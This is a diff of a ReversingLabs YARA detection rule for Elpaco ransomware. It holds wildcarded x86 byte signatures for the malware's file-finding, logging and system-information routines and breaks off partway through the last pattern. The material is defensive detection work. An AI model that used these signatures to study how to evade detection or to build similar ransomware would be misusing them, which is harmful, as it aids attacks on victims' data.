- modified = "2023-11-08" + id = "eb3a6293-f10c-55c4-960a-339e1e7922fe" + date = "2025-02-27" + modified = "2025-02-27" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4160-L4176" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Elpaco.yara#L1-L316" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2e464f4e9bfe0c9510a78552acffb241d2435ea9bf3f5f2501353d7f8f280d78" + logic_hash = "6b3fdd586c9f3e5c40782c814b5091b28e88f3d74032c392a6479182eb74327a" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Elpaco" + tc_detection_factor = 5 importance = 25 + strings: + $find_files_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? + 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 8D ?? ?? + ?? ?? 0F 57 C0 C7 45 ?? ?? ?? ?? ?? 6A ?? 66 0F 13 45 ?? 6A ?? C7 85 ?? ?? ?? ?? ?? + ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 89 75 ?? 6A + ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B C8 83 C4 ?? 33 C0 89 8D ?? ?? ?? ?? C7 41 ?? ?? ?? + ?? ?? C7 41 ?? ?? ?? ?? ?? 66 89 01 8D 45 ?? 3B C8 74 ?? 83 7D ?? ?? FF 75 ?? 0F 43 + 45 ?? 50 E8 ?? ?? ?? ?? 8B 7E ?? 8D 85 ?? ?? ?? ?? 50 57 56 E8 ?? ?? ?? ?? 8B 55 ?? + B9 ?? ?? ?? ?? 2B CA 83 F9 ?? 0F 82 ?? ?? ?? ?? 8B 5D ?? 83 C2 ?? 89 46 ?? 89 55 ?? + 89 07 0F 84 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 8B F2 8B 03 8D 4D ?? 8B 40 ?? 50 89 85 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? 8D 4D + ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B BD ?? ?? ?? ?? B8 ?? ?? ?? ?? 47 C6 45 ?? ?? F7 E7 8B + CF 89 BD ?? ?? ?? ?? C1 EA ?? 6B C2 ?? 2B C8 75 ?? 57 39 8D ?? ?? ?? ?? 75 ?? 68 ?? + ?? ?? ?? EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 8D 8D ?? ?? ?? ?? + 8D 45 ?? 0F 43 45 ?? 51 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? + ?? ?? FF 15 ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? 8B BD ?? ?? ?? ?? 0F 43 4D ?? 50 51 68 + ?? ?? ?? ?? 89 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 BF ?? ?? ?? ?? ?? 75 ?? 83 + } + $find_files_p2 = { + 7D ?? ?? 8D 4D ?? 0F 43 4D ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 83 7D ?? ?? 8D 8D ?? ?? ?? + ?? 8D 45 ?? 0F 43 45 ?? 51 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? + ?? ?? ?? 8B BD ?? ?? ?? ?? 85 FF 74 ?? 8B 4F ?? 83 F9 ?? 72 ?? 8B 07 8D 0C 4D ?? ?? + ?? ?? 81 F9 ?? ?? ?? ?? 72 ?? 8B 50 ?? 83 C1 ?? 2B C2 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? + ?? ?? 8B C2 51 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 47 ?? ?? ?? ?? ?? 6A ?? C7 47 ?? + ?? ?? ?? ?? 57 66 89 07 E8 ?? ?? ?? ?? 83 C4 ?? 8B 13 4E 6A ?? 52 89 75 ?? 8B 4A ?? + 8B 02 89 01 8B 0A 8B 42 ?? 89 41 ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B BD ?? + ?? ?? ?? 8B 35 ?? ?? ?? ?? 0F 1F 00 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D6 85 C0 + 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? + 8B 85 ?? ?? ?? ?? A9 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? 0F 85 ?? ?? + ?? ?? A8 ?? 0F 84 ?? ?? ?? ?? 83 EC ?? 8D 8D ?? ?? ?? ?? 8B D4 89 A5 ?? ?? ?? ?? 33 + C0 8D 71 ?? C7 42 ?? ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? 66 89 02 0F 1F 80 ?? ?? ?? ?? + 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CE 8D 85 ?? ?? ?? ?? D1 F9 51 50 8B CA E8 ?? ?? + ?? ?? 83 EC ?? C6 45 ?? ?? 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 + ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 80 BF ?? ?? ?? ?? ?? 75 ?? 8B 3D ?? ?? ?? ?? 8D 5D + ?? 83 7D ?? ?? 0F 43 5D ?? 8B 37 3B F7 74 ?? 83 7E ?? ?? 8D 46 ?? 72 ?? 8B 00 50 53 + FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 36 3B F7 75 ?? 8B 9D ?? ?? ?? ?? 6A ?? + E8 ?? ?? ?? ?? 8B C8 83 C4 ?? 33 C0 89 8D ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? + ?? ?? ?? ?? 66 89 01 8D 45 ?? 3B C8 74 ?? 83 7D ?? ?? FF 75 ?? 0F 43 45 ?? 50 E8 ?? + ?? ?? ?? 8B 73 ?? 8D 85 ?? ?? ?? ?? 50 56 53 E8 ?? ?? ?? ?? 8B 55 ?? B9 + } + $find_files_p3 = { + 2B CA 83 F9 ?? 0F 82 ?? ?? ?? ?? 89 43 ?? 42 8B 5D ?? 89 55 ?? 89 06 89 9D ?? ?? ?? + ?? E9 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? E9 ?? ?? ?? ?? 80 BF ?? ?? ?? ?? ?? 75 ?? 8D 8D + ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 83 EC ?? 8D 8D ?? ?? ?? ?? 8B D4 + 89 A5 ?? ?? ?? ?? 33 C0 8D 71 ?? C7 42 ?? ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? 66 89 02 + 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CE 8D 85 ?? ?? ?? ?? D1 F9 51 50 8B CA E8 ?? ?? + ?? ?? 83 EC ?? C6 45 ?? ?? 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 + ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 80 BF ?? ?? ?? ?? ?? 75 ?? 83 EC ?? 8D 45 ?? 8B CC + 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 74 ?? 83 EC ?? 8D 45 ?? 8B CC 50 E8 + ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B D7 8B CE E8 ?? ?? ?? ?? 83 C4 ?? 3D ?? ?? ?? ?? 7C + ?? 85 F6 75 ?? A1 ?? ?? ?? ?? EB ?? 83 FE ?? 75 ?? A1 ?? ?? ?? ?? EB ?? 83 FE ?? 75 + ?? A1 ?? ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? FF 87 ?? ?? ?? ?? C6 45 ?? ?? 8B 55 ?? + 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? + 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B + 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B BD ?? ?? + ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 85 F6 74 ?? 8B 4E ?? 83 F9 ?? 72 ?? + 8B 06 8D 0C 4D ?? ?? ?? ?? 81 F9 ?? ?? ?? ?? 72 ?? 8B 50 ?? 83 C1 ?? 2B C2 83 C0 ?? + 83 F8 ?? 0F 87 ?? ?? ?? ?? 8B C2 51 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 46 ?? ?? ?? + ?? ?? 6A ?? C7 46 ?? ?? ?? ?? ?? 56 66 89 06 E8 ?? ?? ?? ?? 83 C4 ?? 8B 13 8B 75 ?? + 6A ?? 4E 8B 4A ?? 8B 02 52 89 75 ?? 89 01 8B 0A 8B 42 ?? 89 41 ?? E8 ?? ?? ?? ?? 83 + } + $find_files_p4 = { + C4 ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? C6 45 ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D + ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 + ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 33 C0 8B 55 + ?? 66 89 45 ?? C7 45 ?? ?? ?? ?? ?? 89 45 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? + ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 + ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 F6 0F 85 ?? ?? ?? ?? 8B 03 89 1B 89 5B + ?? 3B C3 74 ?? 8B 30 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B C6 3B F3 75 ?? 6A ?? 53 E8 + ?? ?? ?? ?? 8B 55 ?? 83 C4 ?? 83 FA ?? 0F 82 ?? ?? ?? ?? 8B 4D ?? 8D 14 55 ?? ?? ?? + ?? 8B C1 81 FA ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 + ?? 0F 87 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? + ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 + ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? C7 45 + ?? ?? ?? ?? ?? 66 89 45 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA + ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 + E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? + 8B 03 89 1B 89 5B ?? 3B C3 0F 84 ?? ?? ?? ?? 8B 30 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? + 8B C6 3B F3 75 ?? E9 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D ?? + ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $write_console_log_p1 = { + 55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? + ?? ?? 53 56 57 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? B8 ?? ?? ?? ?? F0 0F B1 0A 85 C0 0F 84 + ?? ?? ?? ?? 8B 45 ?? 8D 7C 24 ?? 85 C0 B9 ?? ?? ?? ?? 0F 45 C8 8D 45 ?? 50 33 F6 8B + C7 56 51 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 08 FF 70 ?? 83 C9 ?? 51 E8 ?? ?? ?? ?? + 83 C9 ?? 83 C4 ?? 85 C0 0F 48 C1 85 C0 78 ?? 3D ?? ?? ?? ?? 77 ?? 75 ?? EB ?? BE ?? + ?? ?? ?? 33 C0 66 89 84 24 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8D 44 44 ?? 89 44 24 ?? 85 F6 + 79 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? BA ?? ?? ?? ?? 50 8D 44 24 ?? 50 51 8D 8C 24 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 81 FE ?? ?? ?? ?? 75 ?? 8B 44 24 ?? 8B F8 8D 44 24 ?? 2B F8 83 + E7 ?? 85 FF 0F 8E ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 0F B7 44 24 ?? 50 0F + B7 44 24 ?? 50 0F B7 44 24 ?? 50 8D 44 24 ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 + C4 ?? 8B F0 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 85 F6 0F 84 ?? ?? ?? + ?? 8B 0D ?? ?? ?? ?? F6 C1 ?? 74 ?? 8B 15 ?? ?? ?? ?? 83 FA ?? 74 ?? 6A ?? 8D 44 24 + ?? 50 8D 04 36 8B 35 ?? ?? ?? ?? 50 8D 44 24 ?? 50 52 FF D6 6A ?? 8D 44 24 ?? 50 57 + 8D 44 24 ?? 50 FF 35 ?? ?? ?? ?? FF D6 6A ?? 8D 44 24 ?? 50 6A ?? 68 ?? ?? ?? ?? FF + } + $write_console_log_p2 = { + 35 ?? ?? ?? ?? FF D6 8B 0D ?? ?? ?? ?? F6 C1 ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D + 84 24 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 50 8D 44 24 ?? 50 68 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? + ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 50 FF D3 6A ?? 6A ?? 6A ?? 6A ?? 8B D8 8D 84 + 24 ?? ?? ?? ?? 53 50 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F8 85 FF 74 ?? 8D 0C 7D ?? ?? + ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 57 8B F0 8D 84 24 ?? ?? ?? ?? 56 53 50 6A ?? 6A ?? + FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B D6 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 56 E8 + ?? ?? ?? ?? 83 C4 ?? 8B 1D ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 3D ?? ?? + ?? ?? ?? 74 ?? 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 FF D3 8D 04 45 ?? ?? ?? ?? 89 + 44 24 ?? 8D 44 24 ?? 89 44 24 ?? 8D 44 24 ?? 50 68 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 + 6A ?? 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 5F 5E 5B 33 CC + E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $get_system_information_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 51 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? + A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 65 ?? 68 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 + 8D 85 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? + ?? FF 15 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? BB ?? ?? ?? ?? 39 9D ?? ?? ?? ?? 68 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 0F 44 C3 6A ?? A2 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? + ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? + ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? 8B 35 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 74 ?? 68 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D6 + B9 ?? ?? ?? ?? 83 C4 ?? 8D 51 ?? 90 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 51 + 68 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B CA + C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 C4 ?? 33 C0 66 89 85 ?? ?? ?? ?? 8D 79 ?? 66 8B 01 + 83 C1 ?? 66 85 C0 75 ?? 2B CF D1 F9 51 52 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 + ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? + ?? 8D 85 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 + C4 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? + 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 1F 84 00 + } + $get_system_information_p2 = { + C6 00 ?? 8D 40 ?? 83 E9 ?? 75 ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 + FF 15 ?? ?? ?? ?? 85 C0 74 ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? + FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF D6 83 C4 ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? + ?? ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 0F 57 C0 8B 85 ?? ?? ?? ?? 8B + 8D ?? ?? ?? ?? 0F AC C6 ?? 8B 85 ?? ?? ?? ?? 0F AC C1 ?? 6A ?? 66 0F 13 85 ?? ?? ?? + ?? 6A ?? 89 B5 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? C7 + 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 89 BD + ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 FF + 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 85 ?? ?? ?? ?? + 50 6A ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 0F B6 05 ?? ?? ?? ?? 83 BD + ?? ?? ?? ?? ?? 0F 45 C3 A2 ?? ?? ?? ?? 33 F6 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 85 ?? + ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 8D 4E ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F + 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 4E ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? + ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? + ?? ?? ?? FF D3 68 ?? ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B F0 33 + C0 85 F6 0F 44 C8 8D 85 ?? ?? ?? ?? 50 51 56 6A ?? FF B5 ?? ?? ?? ?? 89 8D ?? ?? ?? + ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 0F 1F 44 00 ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 85 + F6 74 ?? 56 6A ?? FF D3 50 FF 15 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? FF D3 56 6A ?? 50 FF + 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? 56 6A ?? FF + B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? EB ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 + } + $get_system_information_p3 = { + B5 ?? ?? ?? ?? 33 DB 3B 1E 0F 83 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 74 DE ?? FF 15 ?? + ?? ?? ?? 85 C0 74 ?? C6 05 ?? ?? ?? ?? ?? EB ?? FF B5 ?? ?? ?? ?? FF 74 DE ?? FF 15 + ?? ?? ?? ?? 85 C0 74 ?? F6 44 DE ?? ?? B9 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 0F 45 C1 + A2 ?? ?? ?? ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 + 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? + ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 8B 54 DE ?? 8B 4C DE ?? 50 E8 ?? ?? ?? ?? 8B 47 ?? + 8D 8D ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 51 50 57 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? + ?? B9 ?? ?? ?? ?? 2B CA 83 F9 ?? 0F 82 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 42 89 47 ?? 89 + 95 ?? ?? ?? ?? 89 01 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 43 E9 ?? ?? + ?? ?? 8B 8D ?? ?? ?? ?? 8B 01 FF 50 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? + ?? 8D 8D ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 03 + C1 83 BD ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 51 50 51 8D 8D ?? ?? + ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? FF 15 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 8D ?? ?? + ?? ?? 50 0F 43 8D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 C4 ?? + 8B 8D ?? ?? ?? ?? 83 F9 ?? 72 ?? 8B 85 ?? ?? ?? ?? 8D 0C 4D ?? ?? ?? ?? 81 F9 ?? ?? + ?? ?? 72 ?? 8B 50 ?? 83 C1 ?? 2B C2 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 8B C2 51 50 + } + $get_system_information_p4 = { + E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C6 45 ?? ?? 8B 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? + ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 83 F9 ?? 72 ?? 8B 85 ?? ?? + ?? ?? 41 81 F9 ?? ?? ?? ?? 72 ?? 8B 50 ?? 83 C1 ?? 2B C2 83 C0 ?? 83 F8 ?? 0F 87 ?? + ?? ?? ?? 8B C2 51 50 E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? C3 8B 85 ?? ?? ?? ?? BB + ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? 8B BD ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? BB ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 85 + F6 74 ?? 56 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 35 ?? + ?? ?? ?? 85 C0 74 ?? 50 FF D6 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 50 FF D6 FF B5 ?? ?? ?? + ?? FF 15 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? 8B CA C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 C4 ?? 33 C0 66 89 85 ?? + ?? ?? ?? 8D 41 ?? 89 85 ?? ?? ?? ?? 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B 8D ?? ?? ?? + ?? D1 F9 51 52 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 83 BD + ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 0F B6 0D ?? + ?? ?? ?? 85 C0 8B 85 ?? ?? ?? ?? 0F 45 CB A3 ?? ?? ?? ?? 66 83 BD ?? ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? 50 0F 95 05 ?? ?? ?? ?? 88 0D ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? 50 0F 94 05 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 + } + $everything_library_setup_p1 = { + 53 8B DC 83 EC ?? 83 E4 ?? 83 C4 ?? 55 8B 6B ?? 89 6C 24 ?? 8B EC 6A ?? 68 ?? ?? ?? + ?? 64 A1 ?? ?? ?? ?? 50 53 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 57 50 8D 45 ?? + 64 A3 ?? ?? ?? ?? 88 55 ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 + ?? 80 7D ?? ?? 74 ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D6 6A ?? + 6A ?? B2 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF D6 33 D2 C6 45 + ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? 